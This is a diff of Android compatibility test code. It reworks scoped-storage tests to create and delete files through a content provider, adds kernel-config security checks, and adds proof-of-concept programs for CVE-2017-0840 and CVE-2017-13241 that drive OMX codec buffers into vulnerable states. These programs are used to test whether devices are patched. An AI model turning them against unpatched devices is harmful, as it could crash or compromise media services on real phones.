-public class ScopedStorageHostTest extends BaseHostJUnit4Test {
-    private boolean mIsExternalStorageSetup = false;
+public class ScopedStorageHostTest extends BaseHostTestCase {
+    private boolean mIsExternalStorageSetup;
+
+    private ContentProviderHandler mContentProviderHandler;
 
     /**
      * Runs the given phase of ScopedStorageTest by calling into the device.
      * Throws an exception if the test phase fails.
      */
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts",
-                "android.scopedstorage.cts.ScopedStorageTest", phase));
-
+        assertThat(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.ScopedStorageTest", phase)).isTrue();
     }
 
     /**
@@ -61,10 +62,6 @@
             .setDisableIsolatedStorage(true));
     }
 
-    String executeShellCommand(String cmd) throws Exception {
-        return getDevice().executeShellCommand(cmd);
-    }
-
     private void setupExternalStorage() throws Exception {
         if (!mIsExternalStorageSetup) {
             runDeviceTest("setupExternalStorage");
@@ -74,6 +71,11 @@
 
     @Before
     public void setup() throws Exception {
+        // Set up content provider. This would install android.tradefed.contentprovider
+        // which is used to create and delete files/Dir on device side test.
+        mContentProviderHandler = new ContentProviderHandler(getDevice());
+        mContentProviderHandler.setUp();
+
         setupExternalStorage();
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
@@ -87,6 +89,7 @@
 
     @After
     public void tearDown() throws Exception {
+        mContentProviderHandler.tearDown();
         executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
     }
 
@@ -512,14 +515,18 @@
     }
 
     private void grantPermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm grant android.scopedstorage.cts " + perm);
+            executeShellCommand("pm grant --user %d android.scopedstorage.cts %s",
+                    currentUserId, perm);
         }
     }
 
     private void revokePermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm revoke android.scopedstorage.cts " + perm);
+            executeShellCommand("pm revoke --user %d android.scopedstorage.cts %s",
+                    currentUserId, perm);
         }
     }
 
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
index c97b41f..50fd029 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
@@ -16,12 +16,11 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.platform.test.annotations.AppModeInstant;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -30,14 +29,14 @@
  * Runs the ScopedStorageTest tests for an instant app.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class ScopedStorageInstantAppHostTest extends BaseHostJUnit4Test {
+public class ScopedStorageInstantAppHostTest extends BaseHostTestCase {
     /**
      * Runs the given phase of Test by calling into the device.
      * Throws an exception if the test phase fails.
      */
     protected void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts",
-                "android.scopedstorage.cts.ScopedStorageTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.ScopedStorageTest", phase)).isTrue();
     }
 
     @Test
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 4596cab..071469a 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -109,6 +109,7 @@
      * test runs.
      */
     static final String NONCE = String.valueOf(System.nanoTime());
+    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
 
     static final String IMAGE_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".jpg";
     static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
@@ -132,7 +133,7 @@
 
     @After
     public void teardown() throws Exception {
-        executeShellCommand("rm " + getShellFile());
+        deleteFileInExternalDir(getShellFile());
         MediaStore.scanFile(getContentResolver(), getShellFile());
     }
 
@@ -221,7 +222,7 @@
         final File existingFile = getShellFile();
 
         try {
-            executeShellCommand("touch " + existingFile);
+            createFileInExternalDir(existingFile);
             MediaStore.scanFile(getContentResolver(), existingFile);
             Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
             fail("Opening file for read expected to fail: " + existingFile);
@@ -274,7 +275,7 @@
         // can open file for read
         FileDescriptor fd = null;
         try {
-            executeShellCommand("touch " + existingFile);
+            createFileInExternalDir(existingFile);
             MediaStore.scanFile(getContentResolver(), existingFile);
             fd = Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
         } finally {
@@ -316,7 +317,7 @@
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
         final File shellFile = getShellFile();
 
-        executeShellCommand("touch " + getShellFile());
+        createFileInExternalDir(shellFile);
         MediaStore.scanFile(getContentResolver(), getShellFile());
         // can list a non-media file created by other package.
         assertThat(Arrays.asList(shellFile.getParentFile().list()))
@@ -384,7 +385,7 @@
                 new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest2");
         try {
-            executeShellCommand("touch " + shellFile1);
+            createFileInExternalDir(shellFile1);
             MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
@@ -419,7 +420,7 @@
                 new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest2");
         try {
-            executeShellCommand("touch " + shellFile1);
+            createFileInExternalDir(shellFile1);
             MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
@@ -821,4 +822,14 @@
         return new File(TestUtils.getExternalStorageDir(),
                 "LegacyAccessHostTest_shell");
     }
+
+    private void createFileInExternalDir(File file) throws Exception {
+        Log.d(TAG, "Creating file " + file + " in the external Directory");
+        getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+    }
+
+    private void deleteFileInExternalDir(File file) throws Exception {
+        Log.d(TAG, "Deleting file " + file + " from the external Directory");
+        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+    }
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 7aec1c7..6b24594 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -170,7 +170,8 @@
     /**
      * Executes a shell command.
      */
-    public static String executeShellCommand(String command) throws IOException {
+    public static String executeShellCommand(String pattern, Object...args) throws IOException {
+        String command = String.format(pattern, args);
         int attempt = 0;
         while (attempt++ < 5) {
             try {
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 6541a7b..47b45ed 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -164,7 +164,9 @@
 @RunWith(AndroidJUnit4.class)
 public class ScopedStorageTest {
     static final String TAG = "ScopedStorageTest";
+    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
     static final String THIS_PACKAGE_NAME = getContext().getPackageName();
+    static final int USER_SYSTEM = 0;
 
     /**
      * To help avoid flaky tests, give ourselves a unique nonce to be used for
@@ -766,7 +768,7 @@
         final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
         try {
             // TEST_APP_A with storage permission should not see pdf file in DCIM
-            executeShellCommand("touch " + pdfFile.getAbsolutePath());
+            createFileUsingTradefedContentProvider(pdfFile);
             assertThat(pdfFile.exists()).isTrue();
             assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
 
@@ -774,14 +776,14 @@
             assertThat(listAs(TEST_APP_A, getDcimDir().getPath()))
                     .doesNotContain(NONMEDIA_FILE_NAME);
 
-            executeShellCommand("touch " + videoFile.getAbsolutePath());
+            createFileUsingTradefedContentProvider(videoFile);
             // We don't insert files to db for files created by shell.
             assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
             // TEST_APP_A with storage permission should see video file in Music directory.
             assertThat(listAs(TEST_APP_A, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
         } finally {
-            executeShellCommand("rm " + pdfFile.getAbsolutePath());
-            executeShellCommand("rm " + videoFile.getAbsolutePath());
+            deleteFileUsingTradefedContentProvider(pdfFile);
+            deleteFileUsingTradefedContentProvider(videoFile);
             MediaStore.scanFile(getContentResolver(), pdfFile);
             MediaStore.scanFile(getContentResolver(), videoFile);
             uninstallAppNoThrow(TEST_APP_A);
@@ -2094,15 +2096,15 @@
             assertAccess(doesntExistPdf, false, false, false);
 
             // We can check only exists for another app's files on root.
-            // Use shell to create root file because TEST_APP_A is in
+            // Use content provider to create root file because TEST_APP_A is in
             // scoped storage.
-            executeShellCommand("touch " + shellPdfAtRoot.getAbsolutePath());
+            createFileUsingTradefedContentProvider(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             assertFileAccess_existsOnly(shellPdfAtRoot);
         } finally {
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
-            executeShellCommand("rm " + shellPdfAtRoot.getAbsolutePath());
+            deleteFileUsingTradefedContentProvider(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             myAppPdf.delete();
             uninstallApp(TEST_APP_A);
@@ -2150,13 +2152,13 @@
             assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
             assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
 
-            executeShellCommand("mkdir " + topLevelDir.getAbsolutePath());
+            createDirUsingTradefedContentProvider(topLevelDir);
             assertDirectoryAccess(topLevelDir, true, false);
 
             assertCannotReadOrWrite(new File("/storage/emulated"));
         } finally {
             uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-            executeShellCommand("rmdir " + topLevelDir.getAbsolutePath());
+            deleteDirUsingTradefedContentProvider(topLevelDir);
         }
     }
 
@@ -2212,13 +2214,11 @@
         final File podcastsDir = getPodcastsDir();
         try {
             if (podcastsDir.exists()) {
-                // Apps can't delete top level directories, not even default directories, so we let
-                // shell do the deed for us.
-                executeShellCommand("rm -r " + podcastsDir);
+                deleteDirUsingTradefedContentProvider(podcastsDir);
             }
             assertThat(podcastsDir.mkdir()).isTrue();
         } finally {
-            executeShellCommand("mkdir " + podcastsDir);
+            createDirUsingTradefedContentProvider(podcastsDir);
         }
     }
 
@@ -2234,7 +2234,7 @@
         try {
             installApp(TEST_APP_A);
             assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            executeShellCommand("touch " + otherTopLevelFile);
+            createFileUsingTradefedContentProvider(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
 
             // We can list other apps' files
@@ -2247,7 +2247,7 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            executeShellCommand("rm " + otherTopLevelFile);
+            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             uninstallApp(TEST_APP_A);
@@ -2490,6 +2490,8 @@
     @Test
     public void testWallpaperApisNoPermission() throws Exception {
         WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+        assumeTrue("Test skipped as wallpaper is not supported.",
+                wallpaperManager.isWallpaperSupported());
         assertThrows(SecurityException.class, () -> wallpaperManager.getFastDrawable());
         assertThrows(SecurityException.class, () -> wallpaperManager.peekFastDrawable());
         assertThrows(SecurityException.class,
@@ -2696,7 +2698,7 @@
         try {
             installApp(TEST_APP_A);
             assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            executeShellCommand("touch " + otherTopLevelFile);
+            createFileUsingTradefedContentProvider(otherTopLevelFile);
 
             // We can list other apps' files
             assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
@@ -2708,7 +2710,7 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            executeShellCommand("rm " + otherTopLevelFile);
+            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             uninstallApp(TEST_APP_A);
         }
@@ -2738,6 +2740,8 @@
 
     @Test
     public void testRenameFromShell() throws Exception {
+        // This test is for shell and shell always runs as USER_SYSTEM
+        assumeTrue("Test is applicable only for System User.", getCurrentUser() == USER_SYSTEM);
         final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
         final File dir = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
         final File renamedDir = new File(getMusicDir(), TEST_DIRECTORY_NAME);
@@ -3044,12 +3048,28 @@
         assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
     }
 
+    private void assertStartsWith(String actual, String prefix, boolean expected) throws Exception {
+        String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
+
+        if (expected) {
+            assertTrue(message, actual.startsWith(prefix));
+        } else {
+            assertFalse(message, actual.startsWith(prefix));
+        }
+    }
+
     private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
-        assertThat(Os.readlink("/proc/self/fd/" + pfd.getFd()).startsWith("/storage")).isTrue();
+        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+        String prefix = "/storage";
+
+        assertStartsWith(path, prefix, true);
     }
 
     private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
-        assertThat(Os.readlink("/proc/self/fd/" + pfd.getFd()).startsWith("/mnt/user")).isTrue();
+        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+        String prefix = "/mnt/user";
+
+        assertStartsWith(path, prefix, true);
     }
 
     private static void assertCanCreateFile(File file) throws IOException {
@@ -3144,4 +3164,38 @@
             assertThrows(ErrnoException.class, () -> { Os.access(file.getAbsolutePath(), mask); });
         }
     }
+
+    private void createFileUsingTradefedContentProvider(File file) throws Exception {
+        // Files/Dirs are created using content provider. Owner of the Filse/Dirs is
+        // android.tradefed.contentprovider.
+        Log.d(TAG, "Creating file " + file);
+        getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+    }
+
+    private void createDirUsingTradefedContentProvider(File file) throws Exception {
+        // Files/Dirs are created using content provider. Owner of the Files/Dirs is
+        // android.tradefed.contentprovider.
+        Log.d(TAG, "Creating Dir " + file);
+        // Create a tmp file in the target directory, this would also create the required
+        // directory, then delete the tmp file. It would leave only new directory.
+        getContentResolver()
+            .openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), "w", null);
+        getContentResolver()
+            .delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), null, null);
+    }
+
+    private void deleteFileUsingTradefedContentProvider(File file) throws Exception {
+        Log.d(TAG, "Deleting file " + file);
+        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+    }
+
+    private void deleteDirUsingTradefedContentProvider(File file) throws Exception {
+        Log.d(TAG, "Deleting Dir " + file);
+        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+    }
+
+    private int getCurrentUser() throws Exception {
+        String userId = executeShellCommand("am get-current-user");
+        return Integer.parseInt(userId.trim());
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 05545e4..6741b82 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -174,8 +174,10 @@
                     (configSet.contains("CONFIG_ARM64_SW_TTBR0_PAN=y") ||
                     configSet.contains("CONFIG_ARM64_PAN=y")));
         } else if (CpuFeatures.isArm32(mDevice)) {
-            assertTrue("Linux kernel must have PAN emulation enabled: CONFIG_CPU_SW_DOMAIN_PAN=y",
-                    configSet.contains("CONFIG_CPU_SW_DOMAIN_PAN=y"));
+            assertTrue("Linux kernel must have PAN emulation enabled: " +
+                    "CONFIG_CPU_SW_DOMAIN_PAN=y or CONFIG_CPU_TTBR0_PAN=y",
+                    (configSet.contains("CONFIG_CPU_SW_DOMAIN_PAN=y") ||
+                    configSet.contains("CONFIG_CPU_TTBR0_PAN=y")));
         }
     }
 
@@ -242,6 +244,11 @@
         put("Kirin970", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("Kirin810", null);
         put("Kirin710", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("MT6889Z/CZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("MT6889Z/CIZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("mt6873", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("MT6853V/TZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("MT6853V/TNZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("SDMMAGPIE", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("SM6150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("SM7150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index df996cf..41a05d5 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -223,6 +223,9 @@
         <option name="cleanup" value="true" />
 
         <!-- Please add 32-bit binary tests below to avoid merge conflict -->
+        <option name="push" value="CVE-2019-934732->/data/local/tmp/CVE-2019-9347" />
+        <option name="push" value="CVE-2017-084032->/data/local/tmp/CVE-2017-0840" />
+        <option name="push" value="CVE-2017-1324132->/data/local/tmp/CVE-2017-13241" />
 
         <!-- Please add 64-bit binary tests below to avoid merge conflict -->
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
new file mode 100644
index 0000000..4263dee
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2017-0840",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_omxutils",
+    ],
+    shared_libs: [
+        "libstagefright",
+        "libbinder",
+        "libmedia_omx",
+        "libutils",
+        "liblog",
+        "libui",
+        "libstagefright_foundation",
+        "libcutils",
+        "libhidlbase",
+        "android.hidl.allocator@1.0",
+        "android.hidl.memory@1.0",
+        "android.hardware.media.omx@1.0",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp
new file mode 100644
index 0000000..d57a7f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp
@@ -0,0 +1,123 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(def.nBufferSize,
+                                                [&success, &buffer](
+                                                        bool s,
+                                                        hidl_memory const& m) {
+                                                    success = s;
+                                                    buffer.mHidlMemory = m;
+                                                });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+int main() {
+    /* Initialize OMX for the specified codec                                 */
+    status_t ret = omxUtilsInit((char *) "OMX.qcom.video.decoder.avc");
+    omxExitOnError(ret);
+    int allCallbacksReceivedEmptyBufferDone = 0;
+    /* Get OMX input port parameters                                          */
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+                    sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    sp < GraphicBuffer > graphicbuffer = new GraphicBuffer(
+            params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+            HAL_PIXEL_FORMAT_YV12,
+            android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER);
+    /* prepare input port buffers                                             */
+    int inMemSize = params->nBufferCountActual * params->nBufferSize;
+    int inBufferCnt = params->nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+    Vector < Buffer > inputBuffers;
+    Vector < Buffer > outputBuffers;
+    /* Register input buffers with OMX component                              */
+    for (int i = 0; i < inBufferCnt; i++) {
+        OMXBuffer omxBuf(graphicbuffer);
+        omxUtilsUseBuffer(OMX_UTILS_IP_PORT, omxBuf, &inBufferId[i]);
+    }
+    /* Get OMX output port parameters                                         */
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    /* prepare output port buffers                                            */
+    int outMemSize = params->nBufferCountActual * params->nBufferSize;
+    int outBufferCnt = params->nBufferCountActual;
+    int outBufferSize = outMemSize / outBufferCnt;
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+    /* Register output buffers with OMX component                             */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+    for (int i = 0; i < outBufferCnt; i++) {
+        outBufferId[i] = outputBuffers[i].mID;
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Executing                                       */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    for (int i = 0; i < inBufferCnt; i++) {
+        OMXBuffer omxBuf(0, inBufferSize);
+        omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+    }
+    for (int i = 0; i < 1; i++) {
+        OMXBuffer omxBuf(0, outBufferSize);
+        omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    time_t currentTime = time(NULL);
+    time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+    time_t endTime = currentTime + waitTimeInSeconds;
+    while (currentTime < endTime) {
+        if (numCallbackEmptyBufferDone == inBufferCnt) {
+            allCallbacksReceivedEmptyBufferDone = 1;
+            break;
+        }
+        currentTime = time(NULL);
+    }
+    if (!allCallbacksReceivedEmptyBufferDone) {
+        ALOGE("Exiting the app");
+        exit (EXIT_FAILURE);
+    }
+    /* Do OMX State change to Loaded                                          */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+    /* Free input and output buffers                                          */
+    for (int i = 0; i < inBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+    }
+    for (int i = 0; i < outBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+    }
+    /* Free OMX resources                                                     */
+    omxUtilsFreeNode();
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/poc.cpp
index 121d5a9..419f4c6 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/poc.cpp
@@ -79,7 +79,7 @@
   data.writeInt32(1);
   audio_attributes_t attr;
   memset(&attr, 0xff, sizeof(attr));
-  attr.flags = 0;
+  attr.flags = AUDIO_FLAG_NONE;
   memset(attr.tags, 0x41, AUDIO_ATTRIBUTES_TAGS_MAX_SIZE);
   data.write(&attr, sizeof(attr));
   binder->transact(GET_OUTPUT_FOR_ATTR, data, &reply, 0);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
new file mode 100644
index 0000000..37717a2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2017-13241",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_omxutils",
+    ],
+    shared_libs: [
+        "libstagefright",
+        "libbinder",
+        "libmedia_omx",
+        "libutils",
+        "liblog",
+        "libstagefright_foundation",
+        "libcutils",
+        "libhidlbase",
+        "android.hidl.allocator@1.0",
+        "android.hidl.memory@1.0",
+        "android.hardware.media.omx@1.0",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp
new file mode 100644
index 0000000..e7b3eca
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp
@@ -0,0 +1,134 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define FRAME_WIDTH 2000
+#define FRAME_HEIGHT 2000
+#define FRAME_RATE (30 << 16)
+#define BUFFER_SIZE 12
+#define BUFFER_COUNT 2
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
